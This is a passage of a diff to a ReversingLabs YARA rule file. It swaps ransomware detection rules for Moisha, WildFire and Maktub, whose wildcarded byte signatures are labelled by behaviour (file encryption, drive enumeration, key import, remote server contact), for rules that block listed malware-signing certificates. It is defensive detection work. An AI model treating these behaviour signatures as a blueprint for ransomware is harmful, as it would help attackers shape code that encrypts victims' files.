6A ?? 89 44 24 - ?? C7 44 24 ?? ?? ?? ?? ?? 89 77 ?? FF 15 ?? ?? ?? ?? 8B E8 89 6C 24 ?? 85 ED 0F 84 - ?? ?? ?? ?? 8B 74 24 ?? 6A ?? 56 53 55 FF 15 ?? ?? ?? ?? 8B D8 89 5C 24 ?? 85 DB 0F - 84 ?? ?? ?? ?? 8B 4C 24 ?? 33 C0 BA ?? ?? ?? ?? 66 3B F2 0F 95 C0 48 25 ?? ?? ?? ?? - 50 6A ?? 6A ?? 6A ?? 51 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? - ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? - ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 1D ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 8B FF - 8D 54 24 ?? 52 56 FF D3 8D 44 24 ?? 50 8B 44 24 ?? 50 50 57 E8 ?? ?? ?? ?? 83 C4 ?? - 50 56 FF D5 85 C0 0F 84 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 6A ?? 8D 4C 24 ?? 51 8D 54 - 24 ?? 52 6A ?? 68 ?? ?? ?? ?? 56 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 56 FF 15 ?? ?? ?? ?? - 53 FF 15 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? - 83 C4 ?? 8B 44 24 ?? 5F 5E 5D 5B 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 04 24 83 - C4 ?? C3 57 E8 ?? ?? ?? ?? 83 C4 - } - $encrypt_files = { - 83 EC ?? 53 8B 1D ?? ?? ?? ?? 55 8B 6C 24 ?? 56 57 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 - ?? ?? ?? ?? 8D 7D ?? 57 FF D3 8B F0 83 FE ?? 74 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? - ?? 89 44 24 ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 8B - 4C 24 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 51 FF D3 8B D8 83 FB ?? 75 ?? - 56 FF 15 ?? ?? ?? ?? 5F 5E 5D B8 ?? ?? ?? ?? 5B 83 C4 ?? C3 8B 54 24 ?? 6A ?? 52 57 - 56 53 E8 ?? ?? ?? ?? 83 C4 ?? 56 8B 35 ?? ?? ?? ?? 8B E8 FF D6 53 FF D6 85 ED 79 ?? - 8B 44 24 ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 8B C5 5D 5B 83 C4 ?? C3 57 E8 ?? ?? ?? ?? 8B - F0 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 8B D8 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? - 6A ?? 53 51 EB ?? 8B 4C 24 ?? BA ?? ?? ?? ?? 3B 55 ?? 1B C0 83 C0 ?? 50 51 57 56 56 - E8 ?? ?? ?? ?? 83 C4 ?? 56 8B D8 FF 15 ?? ?? ?? ?? 85 DB 79 ?? 5F 5E 5D 8B C3 5B 83 - C4 ?? C3 57 E8 ?? ?? ?? ?? 8B F0 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B - D8 53 57 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5D 33 - C0 5B 83 C4 ?? C3 - } - $find_files = { - 53 55 8B 2D ?? ?? ?? ?? 56 57 33 FF 57 57 FF D5 8B F0 85 F6 74 ?? 85 FF 74 ?? 57 E8 - ?? ?? ?? ?? 83 C4 ?? 8D 44 36 ?? 50 6A ?? 8B DE E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 57 56 - FF D5 8B F0 3B DE 72 ?? 66 83 3F ?? 8B DF 0F 84 ?? ?? ?? ?? 8B 6C 24 ?? 53 8B FB FF - 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8D 5C 43 ?? FF D6 85 C0 74 ?? 68 - ?? ?? ?? ?? 57 FF D6 85 C0 74 ?? 57 FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 D3 E2 F6 - C2 ?? 74 ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 57 8B F0 E8 ?? ?? ?? ?? 6A ?? 89 06 8D 46 ?? - 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4E ?? 51 C7 46 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 8D 56 ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 89 46 ?? E8 ?? ?? ?? - ?? 83 C4 ?? 66 83 3B ?? 0F 85 ?? ?? ?? ?? 5F 5E 5D 5B C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $remote_connection ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BLADES" and pe.signatures [ i ] . serial == "29:be:22:78:11:3d:d0:62:ea:dc:a3:2d:e6:b2:42:d0" and 1536883200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Moisha : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_05F70A557Afd4A443F44D0Baf0Bc8C60 : INFO FILE { meta: - description = "Yara rule that detects Moisha ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c72f654f-955e-5ff6-ac91-19fbb858265c" - date = "2022-10-11" - modified = "2022-10-11" + id = "9ce5b6c7-fede-508f-a7d0-f9d0b8838645" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Moisha.yara#L1-L86" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15918-L15934" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "89cefbbb8ec722216721bb43eb14cc33fcd4671585051359a06b62236cbf3a6c" + logic_hash = "3945f515b65ca3ffb6c2b64c884bb2790d703a277e1a5ba128c81bc63ed20a25" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Moisha" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 73 ?? ?? ?? ?? 0A 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 2B ?? 07 6F ?? ?? ?? ?? 0C 08 28 - ?? ?? ?? ?? 2D ?? 06 08 6F ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 2D ?? DE ?? 07 2C ?? 07 6F ?? - ?? ?? ?? DC DE ?? 26 DE ?? 06 2A - } - $find_files_p2 = { - 02 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? - 0B 2B ?? 07 6F ?? ?? ?? ?? 0C 08 6F ?? ?? ?? ?? 0D 03 09 6F ?? ?? ?? ?? 04 2C ?? 04 09 - 6F ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 2D ?? DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC 06 6F ?? ?? - ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 03 04 - 28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? - ?? ?? ?? DC 02 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 03 11 ?? 6F ?? ?? ?? ?? 04 2C ?? 04 - 11 ?? 6F ?? ?? ?? ?? 2A - } - $find_files_p3 = { - 73 ?? ?? ?? ?? 0A 06 03 7D ?? ?? ?? ?? 06 04 7D ?? ?? ?? ?? 06 05 7D ?? ?? ?? ?? 02 28 - ?? ?? ?? ?? 39 ?? ?? ?? ?? 06 02 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 7B ?? - ?? ?? ?? 2C ?? 06 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 31 ?? 06 7B ?? ?? ?? ?? 2C ?? 06 FE - 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B 07 17 6F ?? ?? ?? ?? 07 17 6F ?? ?? ?? - ?? 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 07 6F ?? ?? ?? ?? DE ?? 26 DE ?? 02 28 ?? ?? ?? ?? - 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 12 ?? 28 ?? ?? ?? ?? 0D 09 6F ?? ?? ?? ?? 06 7B - ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 12 ?? 28 - ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 2A - } - $import_priv_key = { - 02 73 ?? ?? ?? ?? 13 ?? 11 ?? 73 ?? ?? ?? ?? 13 ?? 16 13 ?? 16 13 ?? 16 13 ?? 11 ?? 6F - ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 33 ?? 11 ?? 6F ?? ?? ?? ?? 26 2B ?? 11 ?? 20 ?? - ?? ?? ?? 33 ?? 11 ?? 6F ?? ?? ?? ?? 26 2B ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? 6F - ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 2E ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? 6F - ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? 28 ?? ?? ?? ?? 13 - ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 0A 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? - 0B 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 0C 11 ?? 28 ?? ?? ?? ?? 13 ?? - 11 ?? 11 ?? 6F ?? ?? ?? ?? 0D 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13 - ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 - ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? - ?? 13 ?? 12 ?? FE 15 ?? ?? ?? ?? 12 ?? 06 7D ?? ?? ?? ?? 12 ?? 07 7D ?? ?? ?? ?? 12 ?? - 08 7D ?? ?? ?? ?? 12 ?? 09 7D ?? ?? ?? ?? 12 ?? 11 ?? 7D ?? ?? ?? ?? 12 ?? 11 ?? 7D ?? - ?? ?? ?? 12 ?? 11 ?? 7D ?? ?? ?? ?? 12 ?? 11 ?? 7D ?? ?? ?? ?? 11 ?? 13 ?? DE ?? 11 ?? - 6F ?? ?? ?? ?? DC 11 ?? 2A - } - $encrypt_files = { - 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 0A 14 0B 14 0C 16 0D 20 ?? ?? ?? ?? 13 ?? 03 19 17 1D 28 - ?? ?? ?? ?? 0B 03 19 18 1D 28 ?? ?? ?? ?? 0C 02 7B ?? ?? ?? ?? 08 17 6F ?? ?? ?? ?? 13 - ?? 07 06 16 06 8E 69 6F ?? ?? ?? ?? 13 ?? 11 ?? 16 31 ?? 11 ?? 06 16 11 ?? 6F ?? ?? ?? - ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 04 11 ?? 6F ?? ?? ?? ?? 04 6F ?? ?? ?? ?? - 13 ?? 11 ?? 8E 69 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 08 08 6F ?? ?? ?? ?? 16 6F ?? ?? ?? - ?? 26 08 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 08 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 08 - 6F ?? ?? ?? ?? 17 0D DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 13 ?? DE ?? 07 2C - ?? 07 6F ?? ?? ?? ?? 08 2C ?? 08 6F ?? ?? ?? ?? 09 26 DC 2A - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "05:f7:0a:55:7a:fd:4a:44:3f:44:d0:ba:f0:bc:8c:60" and 1477440000 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_4E0665D61997072294A70C662F72Eae3 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "1370a3b5-a254-5197-ac85-5b33e8d9fa38" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15936-L15952" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "f07cdfd522db0a92fe1dba30f158b2c89bb5424bdcdfda50ae42fcfddeac19ba" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $import_priv_key ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "4e:06:65:d6:19:97:07:22:94:a7:0c:66:2f:72:ea:e3" and 1474502400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Wildfire : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_74702Dff5D4056B847D009A2265Fb1B3 : INFO FILE { meta: - description = "Yara rule that detects WildFire ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0c44f017-703c-5db7-b777-62fcd181af9a" - date = "2021-08-12" - modified = "2021-08-12" + id = "55f1e321-ce70-519a-9a39-4278162edbef" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.WildFire.yara#L1-L77" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15954-L15970" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d3be2eac7967853aae6e1317d9c22d95a3dc4b3e5bf8acbe97a7bbeabc9eab38" + logic_hash = "8acc57bbf334a48043dbee6fab7b7a54a44801b2ccd0ccd9d14194689c75c021" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "WildFire" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files = { - 00 02 19 17 73 ?? ?? ?? ?? 0A 1B 8D ?? ?? ?? ?? 25 16 02 16 02 [5-10] 6F ?? ?? ?? ?? - 6F ?? ?? ?? ?? A2 25 17 [5-10] A2 25 18 7E ?? ?? ?? ?? A2 25 19 [5-10] A2 25 1A 02 02 - [5-10] 6F ?? ?? ?? ?? 17 D6 6F ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 0B 07 [5-10] 28 ?? ?? ?? - ?? 1A 18 73 ?? ?? ?? ?? 0C 08 21 00 00 00 00 00 00 00 00 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? - 8D ?? ?? ?? ?? 0D 21 00 00 00 00 00 00 00 00 13 ?? 06 6F ?? ?? ?? ?? 13 ?? 73 ?? ?? ?? - ?? 13 ?? 08 11 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? - 2B ?? 06 09 16 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 09 16 11 ?? 6F ?? ?? ?? ?? 11 - ?? 11 ?? 6A D6 13 ?? 11 ?? 11 ?? FE ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 08 - 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 D6 80 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? DE ?? 28 ?? ?? ?? - ?? 28 ?? ?? ?? ?? DE ?? 2A - } - $enum_drives = { - 00 00 28 ?? ?? ?? ?? 1F ?? 0A 18 0C 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F - ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 19 0C 28 ?? ?? ?? ?? 0D 1A - 0C 09 13 ?? 16 13 ?? 11 ?? 11 ?? 8E 69 FE ?? 2C ?? 11 ?? 11 ?? 9A 13 ?? 1B 0C 11 ?? - 6F ?? ?? ?? ?? 2C ?? 1C 0C 11 ?? 6F ?? ?? ?? ?? 19 FE ?? 16 FE ?? 65 18 60 1A 60 11 - ?? 6F ?? ?? ?? ?? 21 ?? ?? ?? ?? ?? ?? ?? ?? FE ?? 16 FE ?? 65 5F 16 FE ?? 2C ?? 1D - 0C 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 1E 0C 11 ?? 6F ?? ?? ?? ?? - 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 0C 11 ?? 17 D6 13 ?? 2B - } - $file_search = { - A2 25 20 ?? ?? ?? ?? [5-10] A2 25 20 ?? ?? ?? ?? [5-10] A2 25 20 ?? ?? ?? ?? [5-10] - A2 25 20 ?? ?? ?? ?? [5-10] A2 25 20 ?? ?? ?? ?? [5-10] A2 0D 19 0C 19 8D ?? ?? ?? ?? - 25 16 [5-10] A2 25 17 [5-10] A2 25 18 [5-10] A2 13 04 1A 0C 02 28 ?? ?? ?? ?? 13 ?? 1B - 0C 11 ?? 8E 69 17 DA 13 ?? 16 13 ?? 11 ?? 11 ?? (30 | 3D) [1-4] 1C 0C 11 ?? 11 ?? 9A 28 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 1D 0C 09 11 ?? 6F ?? ?? ?? ?? 11 ?? 11 ?? 9A [5-10] 6F - ?? ?? ?? ?? 16 FE ?? 5F 11 ?? 11 ?? 9A 1F ?? 28 ?? ?? ?? ?? [5-10] 28 ?? ?? ?? ?? 6F ?? - ?? ?? ?? 16 FE ?? 5F 11 ?? [5-10] 16 28 ?? ?? ?? ?? 16 FE ?? 5F 2C ?? 1E 0C 11 ?? 11 ?? - 9A 28 ?? ?? ?? ?? 1F ?? 0C 11 ?? 17 D6 13 ?? (38 | 2B) [1-4] 1F ?? 0C 02 28 ?? ?? ?? ?? - 13 ?? 1F ?? 0C 11 ?? 8E 69 17 DA 13 ?? 16 13 ?? 11 ?? 11 ?? 30 ?? 1F ?? 0C 11 ?? 11 ?? - 11 ?? 9A 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 FE ?? 2C ?? 1F ?? 0C 11 ?? 11 ?? 9A 28 ?? ?? - ?? ?? 1F ?? 0C 11 ?? 17 D6 13 ?? 2B ?? 1F ?? 0C 02 17 8D ?? ?? ?? ?? 25 16 1F ?? 9D 6F - ?? ?? ?? ?? 8E 69 17 DA 18 FE ?? 16 FE ?? 2C ?? 1F ?? 0C 02 16 28 ?? ?? ?? ?? DD ?? ?? - ?? ?? 07 17 58 16 0B 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? - ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? - ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? - ?? ?? ?? ?? ?? ?? ?? ?? ?? DE - } - $remote_server_communication_1 = { - 00 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 16 7E ?? ?? ?? ?? 8E 69 6F ?? ?? ?? ?? 9A [5-10] 28 ?? - ?? ?? ?? 0B 02 [5-10] 16 28 ?? ?? ?? ?? 16 FE ?? 3A ?? ?? ?? ?? 02 [5-10] 16 28 ?? ?? ?? - ?? 16 FE ?? 39 ?? ?? ?? ?? 1D 8D ?? ?? ?? ?? 25 16 [5-10] A2 25 17 02 A2 25 18 [5-10] A2 - 25 19 7E ?? ?? ?? ?? A2 25 1A [5-10] A2 25 1B 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 1C [5-10] - A2 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? - [5-10] 11 ?? 28 ?? ?? ?? ?? 13 ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 07 - 28 ?? ?? ?? ?? 74 ?? ?? ?? ?? 13 ?? 11 ?? [5-10] 6F ?? ?? ?? ?? 11 ?? [5-10] 6F ?? ?? ?? ?? - 11 ?? 11 ?? 8E 69 6A 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? - ?? 13 ?? 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? - 74 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 - } - condition: - uint16( 0 ) == 0x5A4D and $enum_drives and $file_search and $encrypt_files and $remote_server_communication_1 + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Shulan Hou" and pe.signatures [ i ] . serial == "74:70:2d:ff:5d:40:56:b8:47:d0:09:a2:26:5f:b1:b3" and 1469664000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Maktub : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_353B1Cf7866Ee0B0Acdd532D0Bb1A220 : INFO FILE { meta: - description = "Yara rule that detects Maktub ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "23ca4232-77ff-5519-b6b0-ccec6cb35fe1" - date = "2020-06-26" - modified = "2020-07-15" + id = "20b95b80-94a9-51c3-9c6c-2a0ef75b0c0b" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Maktub.yara#L1-L116" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15972-L15988" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ee3213213e9521f7d19ce6340cd2f98057c22b1188ceefc30c17c18b6ec54e20" + logic_hash = "aa8f0fe1517134b6e562c2accc46420a4f0afd77c3a7bbe98d551c54e68ed4c7" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Maktub" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files = { - 55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D 8B ?? ?? ?? ?? E8 ?? ?? - ?? ?? 51 8D B3 ?? ?? ?? ?? 8B CB 56 E8 ?? ?? ?? ?? 85 C0 74 ?? 50 8B 43 ?? FF D0 8D - 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8B 43 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF - B3 ?? ?? ?? ?? FF D0 85 C0 74 ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8B 43 ?? 6A - ?? 6A ?? 6A ?? 6A ?? FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF D0 85 C0 75 ?? FF 75 ?? 8B 43 - ?? FF D0 5E 33 C0 5B 8B E5 5D C3 A1 ?? ?? ?? ?? 57 8B 7D ?? 85 C0 75 ?? FF 15 ?? ?? - ?? ?? A3 ?? ?? ?? ?? 57 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ?? 85 C9 74 - ?? 8B D1 33 C0 C1 E9 ?? F3 AB 8B CA 83 E1 ?? F3 AA 8B 7D ?? B9 ?? ?? ?? ?? 3B FE 76 - ?? 8D 46 ?? 3B F8 73 ?? 8D 57 ?? 8D 70 ?? 8B FF 8A 06 8D 52 ?? 88 42 ?? 8D 76 ?? 49 - 75 ?? EB ?? 8B D7 2B D6 8A 06 8D 76 ?? 88 44 32 ?? 49 75 ?? E8 ?? ?? ?? ?? 89 83 ?? - ?? ?? ?? 8D 4F ?? 8B 83 ?? ?? ?? ?? 89 47 ?? FF B3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 8D 45 ?? FF 75 ?? 50 8B 43 ?? 57 6A ?? 6A ?? 6A ?? FF 75 ?? FF D0 85 C0 75 ?? A1 - ?? ?? ?? ?? 85 C0 75 ?? A1 ?? ?? ?? ?? FF D0 A3 ?? ?? ?? ?? 57 6A ?? 50 FF 15 ?? ?? - ?? ?? FF 75 ?? 8B 43 ?? FF D0 5F 5E 33 C0 5B 8B E5 5D C3 FF 75 ?? 8D 45 ?? 57 50 E8 - ?? ?? ?? ?? 50 8D 8B ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? - ?? 85 C0 75 ?? A1 ?? ?? ?? ?? FF D0 A3 ?? ?? ?? ?? 57 6A ?? 50 FF 15 ?? ?? ?? ?? FF - 75 ?? 8B 43 ?? FF D0 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 - } - $search_files = { - 55 8B EC 83 EC ?? 53 56 57 8B F9 68 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 85 C0 0F 84 - ?? ?? ?? ?? 8B 47 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? - FF D0 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 4F ?? 8D 45 ?? 50 0F 57 C0 53 66 0F 13 45 - ?? FF D1 85 C0 0F 84 ?? ?? ?? ?? 8B 75 ?? 8B C6 0B 45 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 6A ?? 50 8D 4D ?? C7 45 ?? ?? ?? ?? ?? FF - 72 ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 87 ?? ?? ?? ?? - 8B 55 ?? 8D 4A ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? FF 70 ?? 50 FF 31 8D 4D ?? E8 ?? ?? - ?? 